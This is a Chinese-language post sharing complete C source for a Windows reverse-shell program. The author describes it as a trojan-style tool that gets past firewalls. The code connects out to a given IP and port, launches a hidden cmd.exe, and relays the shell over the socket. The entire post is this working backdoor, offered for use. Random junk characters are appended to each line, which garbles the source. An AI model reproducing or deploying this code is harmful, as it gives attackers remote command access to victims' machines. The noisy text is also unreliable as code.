这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 c=HL
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/* ============================== 2myHn/%C
Rebound port in Windows NT F D6>[W
By wind,2006/7 r&ex<(I{
===============================*/ "%Eyb\V!
#include /ZKO\q
#include ~A=Z/46*Z
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#pragma comment(lib,"wsock32.lib") O ijG@bI8
*tT}y(M
void OutputShell(); %.D@{O
SOCKET sClient; ve /Q6j{
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; N~ XzgI
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void main(int argc,char **argv) {*%'vVv+
{ 0$l D
WSADATA stWsaData; /z+}xRS
int nRet; t=ry\h{Pc
SOCKADDR_IN stSaiClient,stSaiServer; < F Cr
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if(argc != 3) ;dYpdy
{ p68)
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printf("Useage:\n\rRebound DestIP DestPort\n"); EmR#)c~(W
return; ?<slB>8
} +x0-hRD
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WSAStartup(MAKEWORD(2,2),&stWsaData); 2FS,B\d
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); CxtH?9# |
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stSaiClient.sin_family = AF_INET; >c7fg^@
stSaiClient.sin_port = htons(0); C@L:m1fz
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); ?H3xE=<X
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) =GjxqIv
{ )vk$]<$
printf("Bind Socket Failed!\n"); t
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return; 8<uKzb(O:
} xFS`#1
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stSaiServer.sin_family = AF_INET; mOyBSOad4
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); R28h%KN
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); kf$0}T`
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) 'on, YEp
{ @&d/}Mx"t
printf("Connect Error!"); Jh[fFg]
return; *Oo2rk nQ
} C=AX{sn
OutputShell(); b07 MTDFH7
} Y]nY.5irL
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void OutputShell() Zcv1%hI
{ e?G] fz
char szBuff[1024]; o% !a
SECURITY_ATTRIBUTES stSecurityAttributes; c0jC84*v
OSVERSIONINFO stOsversionInfo; 1NT@}j~/
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; z/N~HSh!d
STARTUPINFO stStartupInfo; <$HP"f+<S5
char *szShell; /'p(X~X:l
PROCESS_INFORMATION stProcessInformation; ?E2/
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unsigned long lBytesRead; '8wA+N6Zr7
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); -pc*$oe
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); i%0Ml:Y
stSecurityAttributes.lpSecurityDescriptor = 0; K9gfS V>]
stSecurityAttributes.bInheritHandle = TRUE; #tdI;x3
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); {v56k8uZ
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); }0|,*BkI
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); 50Co/-)j
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; $ T.c>13
stStartupInfo.wShowWindow = SW_HIDE; V\WqA8
stStartupInfo.hStdInput = hReadPipe; IiIF4 pQ,
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; +^!&-g@(
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GetVersionEx(&stOsversionInfo); e&E""ye
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switch(stOsversionInfo.dwPlatformId) /e6\F7
{ J(VJMS;_
case 1: c:4M|t=
szShell = "command.com"; *K'(t
break; `$7j:<c=
default: O!kBp(?]
szShell = "cmd.exe"; vWcU+GBZI
break; TB4|dj-%
} R-"A*/A 2
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); 5EIh5Y EU>
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send(sClient,szMsg,77,0); \L(~50{(
while(1) pog*}@OS
{ KE`}P<K&
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); ]4yWcnf
if(lBytesRead) B{lBUv(B
{ V,fSn:8%M
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); egxh
send(sClient,szBuff,lBytesRead,0); sME3s-
} U`D/~KJ{Y
else q<yp6Q3^
{ 8/x@|rjW
lBytesRead=recv(sClient,szBuff,1024,0); #7+oM8b
if(lBytesRead<=0) break; lzN\~5a}
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); AF>J8 V
} fn(KmuNA
} |[;9$Vn
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return; lO9ML-8C1
}